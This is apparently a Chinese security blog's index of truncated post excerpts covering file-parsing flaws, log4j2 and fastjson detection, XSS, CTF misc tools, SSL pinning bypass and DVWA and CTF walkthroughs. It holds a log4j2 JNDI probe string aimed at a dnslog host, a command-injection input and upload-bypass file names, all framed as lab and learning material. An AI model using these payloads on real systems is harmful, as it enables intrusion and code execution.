常见文件解析漏洞
前段时间在复习文件解析漏洞,有些知识的确得记清呀~~ 00x0 前言 解析漏洞主要是指攻击者利用一些服务器的特性,精心构造的文件后缀被服务器解析为脚本文件,从而导致网站沦陷。 00x1 Apache1、phpcgi漏洞1234test.jpg/x.php 其中,x.php是不存在的文件,所以会向前递归解析,而test.jpg会被当做php文件执行。此时,可以修改请求包将test.jpg的内容替换为php的内容,或者上传图片马。 2、Apache陌生后缀解析漏洞12345678test.php.aaaApache...
log4j2代码执行漏洞
验证网站是否存在log4j2漏洞的方法~~ 一、描述 log4j2是一个基于Java的日志记录框架。在大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。只要日志内容中包含关键词 ${,那么这里面包含的内容就可以作为变量进行替换,攻击者无需任何权限,可以执行任意命令。 二、验证漏洞是否存在 这里我使用的是vulfocus平台上面的一个log4j2的靶场 方法一:dnslog验证1、先通过dnslog获得一个域名 构造poc: 1${jndi:ldap://o8ll0b.dnslog.cn} 2、用url方式提交payload参数 构造payload:换成url形式: 1payload=%24%7b%6a%6e%64%69%3a%6c%64%61%70%3a%2f%2f%6f%38%6c%6c%30%62%2e%64%6e%73%6c%6f%67%2e%63%6e%7d 3、回到dnslog refresh...
fastjson反序列化漏洞
验证网站是否存在fastjson漏洞的方法~~ 一、fastjson简介 fastjson是java的一个库,可以使java对象和json格式的字符串相互转换。序列化是将java对象转为为json格式的字符串,反序列化就是将json格式的字符串转为java对象。 二、漏洞简介 fastjson在解析json的过程中,会自动调用@type指定类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。 三、漏洞详情 组件名称:fastjson 影响版本:fastjson<=1.2.80 漏洞类型:远程任意代码执行 四、漏洞探测1、根据返回包判断 任意抓包,将提交方式改为POST。返回包就会出现fastjson字样。 2、修改请求包 用burp抓包,将发送方式改为post,更改类型为json,添加json格式的字符串,可以看到返回包中成功了。 12345678POSTContent-Type:...
app应用完整性校验
...
xss漏洞详解
对于xss漏洞一些基本的总结~~ 00x1 xss分类1、反射型 反射型 XSS,非持久化,需要欺骗用户自己去点击链接才能触发 XSS 代码 2、存储型 存储型 XSS,持久化,代码是存储在服务器中的数据库里,如在个人信息或发表文章等地方,可以插入代码,如果插入的数据没有过滤或过滤不严,那么这些恶意代码没有经过过滤将储存到数据库中,用户访问该页面的时候,没有进行编码过滤输出到浏览器上,就会触发代码执行,造成 xss 攻击。 3、DOM型 DOM,全称 Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。DOM 型 XSS 其实是一种特殊类型的反射型 XSS,它是基于 DOM 文档对象模型的。 00x2 xss测试语句 在测试时,应该输入一些标签如<、>输入后查看网页源代码是否过滤标签,如果没过滤,很大可能存在 xss...
关于ctf的misc相关工具汇总
一些些好用的misc工具分享 0x00 前言 做了一些些关于misc的题目,个人总结了一些挺好用的工具。这些工具都可以去github搜索并下载。 00x1 winhex 这个工具简直就是必备。关于图片的题目我一般都会用这个工具打开查看它的文本里面是否隐藏了flag。不用这个,也可以用其他的十六进制查看工具。总之,就是必须备用。 ox02 foremost 这个工具是文件分离经常需要用到的。虽然我经常看到一些大佬都是在linux里面用一些自带的工具进行文件分离,但我着实懒得打开虚拟机。而且这个工具也蛮好用的。一般是可以分离出图片中隐写的压缩包。 它可以添加到电脑的“发送到”这个快捷方式里面,使用起来超级便捷。 具体添加方法如下: step 1 新建bat文件 先新建一个txt文件,输入以下内容: 123456@echo offcd D:\tools\ctf\foremost -->这行换成你的安装目录,即foremost.exe所在目录set path=%~dp1start foremost -i %1 -o...
判断zip文件伪加密
关于判断zip文件是否进行了伪加密的方法,以及如何解除伪加密。 step 1 winhex查看zip压缩包 将可能进行了伪加密的压缩包用winhex打开,首先了解一下基本的zip包的构造: (1)压缩源文件数据区标识:即当头文件是504B0304时,则表示文件类型为zip压缩包。 (2)第一个全局方式位标记:即下图中在数据区标识后两位的0900,这个是判断文件有无加密。 (3)压缩源文件目录区标识:即下图中出现的504B0102。 (4)第二个全局方式位标记:即下图中在目录区标识后四位的0900,这个是判断文件是否进行了伪加密。压缩源文件目录结束标识:即为504B0506时,标识目录区结束。 step 2 判断是否为伪加密 无加密 o 压缩源文件数据区的全局加密应当为00 00 o 且压缩源文件目录区的全局方式位标记应当为00 00 伪加密 o 压缩源文件数据区的全局加密应当为00 00 o 且压缩源文件目录区的全局方式位标记应当为09 00 真加密 o...
buuctf之misc部分题解
还是misc类型深得我心 00x0前言 我个人感觉杂项就是压缩包与图片的花样式折腾。最近在做buuctf的misc,浅浅地记录下我的题解吧。 然后对下面的题目归个类: 一、图片类型 gif逐帧分析:(题目1) 文件隐写: 用foremost工具,分离出图片里面的压缩包文件(题目2,16,17,18) 图片中包含其他文件:用stegsolve的data extract处理(题目10,15) 图片为其他类型后缀:用stegsolve的data...
Xposed+JustTrustMe绕过SSL Pinning
单向认证绕过方式GET之一 当APP是HTTPS时,则单纯的使用Burpsuite无法抓取数据包,原因是APP启用了SSL Pinning(又叫做“SSL证书绑定”)。把这个框架安装了防止之后有数据包抓取不到。 1、安装Xposed框架 注意:只有 安卓5 和 7020及以后模拟器版本的 安卓7 32位 支持xposed框架。 在应用商店搜到到Xposed,下载完成之后,选择Version 89,选择install: 然后重启模拟器,再次打开Xposed框架,完成后会提示框架已经激活: 2 、安装JustTrustMe 在github上面可搜索到:JustTrustMe 安装完成之后,进入Xposed,点击左上角,选择模块,勾选JustTrustMe 安装完成之后,重启模拟器,APP的HTTPS数据包就可以抓取到了。
截获Android端数据包
关于在安卓模拟器和本机电脑上拦截微信公众号、小程序、APP数据包方法。 前言 前一段时间有在做捕获微信公众号数据包的测试,然后顺便下载了个模拟器,想着琢磨一下小程序和app的拦截使用,整理了一下笔记,下面是关于在模拟器和本机电脑上拦截微信公众号,小程序,APP数据包的做法。 准备工具如下: BurpSuite fiddler 夜神模拟器 微信客户端3.6版本(现在的微信高版本不得行咯) 1、在本地电脑上拦截微信公众号数据包 在本地电脑上可以通过下面这种方式拦截公众号的数据包,但是拦截不到小程序的数据包。 step 1 设置代理服务器 打开默认浏览器的Internet选项——点击”连接“——选择”局域网设置” 打开代理服务器,配置一个地址和端口: step 2 burp配置 在burp中的proxy——options——添加代理(添加和上一步代理服务器一样的ip和端口即可) 2、...
dvwa靶场
这个靶场是几个月前开始的,然后中间可能因为有各种事情拖沓,还剩了一点,终于把它全部弄完啦,真不容易啊。 前言我把dvwa靶场的三个等级low,medium,high每关都做出了相应的题解,应该看起来会清晰一点。 我这里引用的dvwa靶场是来自https://github.com/digininja/DVWA/archive/master.zip 记得看readme文件,配置好相关环境,然后就可以开始啦。 1、Burte Forcelow使用burp暴力破解,得到账户名密码为:admin/password 然后尝试登录,登录成功 medium和low一样 high和low一样 2、Command Injectionlow执行命令 1127.0.0.1 | hostname 即可得到主机名,可命令执行得到其他敏感信息。 medium和low一样 high执行命令 1127.0.0.1 ||...
攻防世界-web-ICS-05
今天练习了一下攻防世界里面的web靶场,做了一个题目,叫ics-05,主要是关于preg_replace这个函数可能存在命令执行漏洞~~ 先前介绍:慎用preg_replace危险的/e修饰符(一句话后门常用)123preg_replace原型:mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit]) pattern: 要搜索的模式,可以是字符串或一个字符串数组。 replacement: 用于替换的字符串或字符串数组。 subject: 要搜索替换的目标字符串或字符串数组。 preg_replace函数作用:搜索subject中匹配pattern的部分, 以replacement进行替换。 特别说明:preg_replace函数存在命令执行漏洞。 /e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP...